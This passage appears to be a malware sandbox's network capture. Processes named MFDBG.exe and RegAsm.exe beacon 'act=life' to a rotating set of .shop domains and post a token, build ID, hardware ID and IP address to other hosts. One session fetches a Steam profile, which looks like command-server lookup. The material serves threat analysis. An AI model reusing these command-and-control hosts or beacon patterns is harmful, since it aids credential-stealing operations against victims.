2024-09-25 16:01:07 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4b 4a 44 47 44 42 46 42 47 49 44 47 49 45 42 47 48 43 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 33 39 66 30 65 30 61 33 61 37 34 39 62 66 62 62 64 35 37 61 33 62 62 32 66 64 62 65 62 33 34 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 44 47 44 42 46 42 47 49 44 47 49 45 42 47 48 43 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 35 38 63 64 32 35 30 62 31 35 65 36 36 36 65 35 66 37 32 66 63 66 35 63 61 61 36 63 62 31 33 31 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 44 47 44 42 46 42 47 49 44 47 49 45 42 47 48 43 47 49 0d 0a 43 6f 6e 74 Data Ascii: ------KJDGDBFBGIDGIEBGHCGIContent-Disposition: form-data; name="token"439f0e0a3a749bfbbd57a3bb2fdbeb34------KJDGDBFBGIDGIEBGHCGIContent-Disposition: form-data; name="build_id"58cd250b15e666e5f72fcf5caa6cb131------KJDGDBFBGIDGIEBGHCGICont
2024-09-25 16:01:07 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 25 Sep 2024 16:01:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-25 16:01:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.5	49744	188.114.96.3	443	5248	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-25 16:01:08 UTC	144	OUT	POST /get_file.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: yalubluseks.eu Content-Length: 84 Expect: 100-continue
2024-09-25 16:01:08 UTC	25	IN	HTTP/1.1 100 Continue
2024-09-25 16:01:08 UTC	84	OUT	Data Raw: 68 77 69 64 3d 34 34 66 38 63 33 65 61 64 61 32 66 66 32 65 36 39 62 36 63 61 32 30 35 32 37 62 63 65 35 63 65 30 63 66 35 37 35 65 34 34 33 38 61 33 33 33 61 38 65 30 39 64 30 66 38 62 39 39 65 31 38 37 30 26 69 70 3d 38 2e 34 36 2e 31 32 33 2e 33 33 Data Ascii: hwid=44f8c3eada2ff2e69b6ca20527bce5ce0cf575e4438a333a8e09d0f8b99e1870&ip=8.46.123.33
2024-09-25 16:01:08 UTC	617	IN	HTTP/1.1 200 OK Date: Wed, 25 Sep 2024 16:01:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Content-Type-Options: nosniff CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=x%2BM2eBDNG4RNOcR2%2BvlT1lIlJpQrKI4ac8JdkNeY%2F%2BPDSzexnePQZ09oEsLGjoXltZkgf7cG%2BUX6w2JJH%2FftgOhvgFDMyh%2Bj%2B8BgnW3Z8khhYJCtGlIJf4xttga5IKLQYg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c8c3b2aaa787d05-EWR 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.5	49746	172.67.162.108	443	1712	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-25 16:01:10 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: drawzhotdog.shop
2024-09-25 16:01:10 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-09-25 16:01:11 UTC	766	IN	HTTP/1.1 200 OK Date: Wed, 25 Sep 2024 16:01:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=gt1fkfocn6t1197j29sfic6hhb; expires=Sun, 19 Jan 2025 09:47:50 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Dy7%2BFxfwBPdgKIXB7Mt11ashmwHSh6WnGSl065AmD7hDA0acFDXALni8QfIutfEn4QDX7whgpoTphL6gopYbY8dFzGGVb6oRM%2BZjlUQ9ZHmv0yaKE%2BSWEZqWOzp6FCi9mBBp"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c8c3b3b9f6bc439-EWR
2024-09-25 16:01:11 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-09-25 16:01:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.5	49747	172.67.132.32	443	1712	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-25 16:01:12 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: gutterydhowi.shop
2024-09-25 16:01:12 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-09-25 16:01:12 UTC	776	IN	HTTP/1.1 200 OK Date: Wed, 25 Sep 2024 16:01:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=fq63dp1km75mddgedkk73n6c45; expires=Sun, 19 Jan 2025 09:47:51 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2MQ7CgrR2vOUZp8L%2BTDNBRgN7j3AvdPyNgPKV%2ForMmKVq1psIRzU5tQtheCzptEuKgXwZYk2ZGrZQuG0zEMiRWCPCnW9TtQltucmrJU0dmtYdpqsSQ%2Fke7C%2FqqHJbSrcszUF0w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c8c3b437d2c436e-EWR
2024-09-25 16:01:12 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-09-25 16:01:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.5	49748	188.114.96.3	443	1712	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-25 16:01:14 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: ghostreedmnu.shop
2024-09-25 16:01:14 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-09-25 16:01:14 UTC	784	IN	HTTP/1.1 200 OK Date: Wed, 25 Sep 2024 16:01:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=6lcn6v9ukg5o38btqtcttjl3qq; expires=Sun, 19 Jan 2025 09:47:53 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=doqMIh1FOoX65ecbwemOJDKM3soeK0xAFSXNvGf%2BRrfJuk%2B%2FnSOdA%2FmZp%2Bdny%2BeSt%2FozL8onxXivhN9EDhZMJxSlV%2FMmKyjcqHGm5eQBOhTnrBBDOumTQblkbH563GfoOHc97w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c8c3b508ee84397-EWR
2024-09-25 16:01:14 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-09-25 16:01:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.5	49749	188.114.96.3	443	1712	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-25 16:01:15 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: offensivedzvju.shop
2024-09-25 16:01:15 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-09-25 16:01:16 UTC	766	IN	HTTP/1.1 200 OK Date: Wed, 25 Sep 2024 16:01:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=vfj3ptrao60kot9v85glqtdumv; expires=Sun, 19 Jan 2025 09:47:55 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=arQH2Oder5rwNKKFdUQ3dYmi1VxVWemLSmWUSUWpBjSslBS9pIVOLuJZDKVsGGPGPWe5IblHiN3N9BqVSeNfzQqiwwWHeFbI2BBK75UM05lVn2vH2wcYa0sk5Lj%2FUUj6z1beS7sQ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c8c3b59792743ad-EWR
2024-09-25 16:01:16 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-09-25 16:01:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.5	49750	188.114.97.3	443	1712	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-25 16:01:16 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: vozmeatillu.shop
2024-09-25 16:01:16 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-09-25 16:01:17 UTC	770	IN	HTTP/1.1 200 OK Date: Wed, 25 Sep 2024 16:01:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=8i1dqvi3tpm7g9ghlf86kui90i; expires=Sun, 19 Jan 2025 09:47:56 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=EE9%2BkdM9L3zMbrQ3V5Wvd6hEKX3B8tlDrrs612HZD1O%2BvNdoX9T9dxoeQ9krbfjpTjNX8BedK4Ol2yMfcqYJX%2FFUiND3OGPrGIj5RZBfvCv7DD3%2F6mbgykmjONPiNVjC%2BGQT"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c8c3b619c4541f2-EWR
2024-09-25 16:01:17 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-09-25 16:01:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.5	49751	172.67.162.108	443	1712	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-25 16:01:18 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: drawzhotdog.shop
2024-09-25 16:01:18 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-09-25 16:01:18 UTC	774	IN	HTTP/1.1 200 OK Date: Wed, 25 Sep 2024 16:01:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=a9hghtcgcnkn4ibdm4vj1n2oqa; expires=Sun, 19 Jan 2025 09:47:57 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9thiVGxC3Uv0z8T8KC5lfXo7%2Fk0sHb7iGyC6ApkrTCgL8TFbG3vrAQc7%2Ba%2FDaqqCKT5Dub%2BtYmD3%2FZA9F4HdfiTkd6eKypAfPAJDSf0D3ck%2Bu5zVptvAE916kKM8%2BqT2cmCC"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c8c3b68fb50c477-EWR
2024-09-25 16:01:18 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-09-25 16:01:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.5	49752	188.114.97.3	443	1712	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-25 16:01:19 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: fragnantbui.shop
2024-09-25 16:01:19 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-09-25 16:01:19 UTC	768	IN	HTTP/1.1 200 OK Date: Wed, 25 Sep 2024 16:01:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=7ru95jk5bb2b57iti29akjtjbq; expires=Sun, 19 Jan 2025 09:47:58 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8PnaFNUVaOSWiLhuT11SDIHHs8pMoA%2BOpnpJxUCOnAputysh%2FEyln%2BOmWZKWgU49ipMnUFhbAi2wZreUE95pTpTYMbIhXNPn%2BniADawI3YCq3EPWMjTGkCXH91YwH1IyYakb"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c8c3b712ba243dd-EWR
2024-09-25 16:01:19 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-09-25 16:01:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.5	49753	188.114.96.3	443	1712	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-25 16:01:20 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: stogeneratmns.shop
2024-09-25 16:01:20 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-09-25 16:01:21 UTC	772	IN	HTTP/1.1 200 OK Date: Wed, 25 Sep 2024 16:01:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=v5cardo60tca41c5jdhnj2am4q; expires=Sun, 19 Jan 2025 09:48:00 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PLCSYt7%2Fy%2FSU9rX2pHEdKYzh2K0RCAQqVTLspGEdKHFScOsGUT9MNsKtNRhpKtl9zdVJOTM4nbhpLIlgoyPvfpRAwfli3IQvAd673Y1xayuqsgK%2FfZWSe8QKMh79GGxXfPHTy4Y%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c8c3b797d86c34a-EWR
2024-09-25 16:01:21 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-09-25 16:01:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.5	49754	172.67.208.139	443	1712	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-25 16:01:22 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: reinforcenh.shop
2024-09-25 16:01:22 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-09-25 16:01:22 UTC	776	IN	HTTP/1.1 200 OK Date: Wed, 25 Sep 2024 16:01:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=59gr9jvk67ospktj0ln3hkhkof; expires=Sun, 19 Jan 2025 09:48:01 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hZd6N%2FHh%2Fx0z0%2FT%2B1LrQoOjTPfKYZOOcG0G84PCEJKUjK6u3HocQXiNYxFLswYVJ1PrcphdW%2BVeaEGNcS0Ilb4a0JT0kO2Bmnbn%2BsA0SbTZ%2BVBowgKRIceGdZ%2BgNAfD0iPak"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c8c3b81bf60c404-EWR
2024-09-25 16:01:22 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-09-25 16:01:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.5	49755	104.102.49.254	443	1712	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-25 16:01:24 UTC	219	OUT	GET /profiles/76561199724331900 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: steamcommunity.com
2024-09-25 16:01:24 UTC	1870	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.akamai.steamstatic.com/ https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.akamai.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq. [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Wed, 25 Sep 2024 16:01:24 GMT Content-Length: 34668 Connection: close Set-Cookie: sessionid=55c35266d4814f1fc8cd137d; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7Cd7fb65801182a5f50a3169fe2a0b7ef0; Path=/; Secure; HttpOnly; SameSite=None
2024-09-25 16:01:24 UTC	14514	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0d 0a 09 09 3c Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><
2024-09-25 16:01:24 UTC	16384	IN	Data Raw: 73 75 70 65 72 6e 61 76 5f 63 6f 6e 74 65 6e 74 27 2c 20 27 6f 66 66 73 65 74 59 27 3a 2d 36 2c 20 27 6f 66 66 73 65 74 58 27 3a 20 31 2c 20 27 68 6f 72 69 7a 6f 6e 74 61 6c 53 6e 61 70 27 3a 20 34 2c 20 27 74 6f 6f 6c 74 69 70 50 61 72 65 6e 74 27 3a 20 27 23 67 6c 6f 62 61 6c 5f 68 65 61 64 65 72 20 2e 73 75 70 65 72 6e 61 76 5f 63 6f 6e 74 61 69 6e 65 72 27 2c 20 27 63 6f 72 72 65 63 74 46 6f 72 53 63 72 65 65 6e 53 69 7a 65 27 3a 20 66 61 6c 73 65 7d 29 3b 0d 0a 09 09 7d 29 3b 0d 0a 09 3c 2f 73 63 72 69 70 74 3e 0d 0a 0d 0a 09 09 3c 64 69 76 20 69 64 3d 22 67 6c 6f 62 61 6c 5f 61 63 74 69 6f 6e 73 22 3e 0d 0a 09 09 09 3c 64 69 76 20 72 6f 6c 65 3d 22 6e 61 76 69 67 61 74 69 6f 6e 22 20 69 64 3d 22 67 6c 6f 62 61 6c 5f 61 63 74 69 6f 6e 5f 6d 65 6e 75 Data Ascii: supernav_content', 'offsetY':-6, 'offsetX': 1, 'horizontalSnap': 4, 'tooltipParent': '#global_header .supernav_container', 'correctForScreenSize': false});});</script><div id="global_actions"><div role="navigation" id="global_action_menu
2024-09-25 16:01:24 UTC	3768	IN	Data Raw: 77 20 6d 6f 72 65 20 69 6e 66 6f 3c 2f 73 70 61 6e 3e 0d 0a 09 09 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 09 09 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 20 24 4a 28 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 20 49 6e 69 74 50 72 6f 66 69 6c 65 53 75 6d 6d 61 72 79 28 20 67 5f 72 67 50 72 6f 66 69 6c 65 44 61 74 61 5b 27 73 75 6d 6d 61 72 79 27 5d 20 29 3b 20 7d 20 29 3b 20 3c 2f 73 63 72 69 70 74 3e 0d 0a 09 09 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 0d 0a 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 3c 2f 64 69 76 3e 0d 0a 09 3c 2f 64 69 76 3e 0d 0a 3c 2f 64 69 76 3e 0d 0a 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 63 6f 6e 74 65 6e 74 20 22 3e 0d 0a 09 09 3c 64 69 76 20 63 6c 61 Data Ascii: w more info</span></div><script type="text/javascript"> $J( function() { InitProfileSummary( g_rgProfileData['summary'] ); } ); </script></div></div></div></div></div><div class="profile_content "><div cla
2024-09-25 16:01:24 UTC	2	IN	Data Raw: 6c 3e Data Ascii: l>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.5	49757	172.67.189.2	443	1712	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-25 16:01:25 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: performenj.shop
2024-09-25 16:01:25 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-09-25 16:01:25 UTC	768	IN	HTTP/1.1 200 OK Date: Wed, 25 Sep 2024 16:01:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ll6mu80mi7juk2i0t2ism54v76; expires=Sun, 19 Jan 2025 09:48:04 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=v2%2BveGUngLGSNY56QGvH4MUK3DKbp5tuAABw2DogrZSYCiinIQKNq81nu5RyajTHGiSvVkVXrhDjOBGOJg4OWJUuonI2tB0XXBAH4pm6yaJ%2BoLSi9DwYm%2FJS6TDVUu3n4yM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c8c3b96ed6a422f-EWR
2024-09-25 16:01:25 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
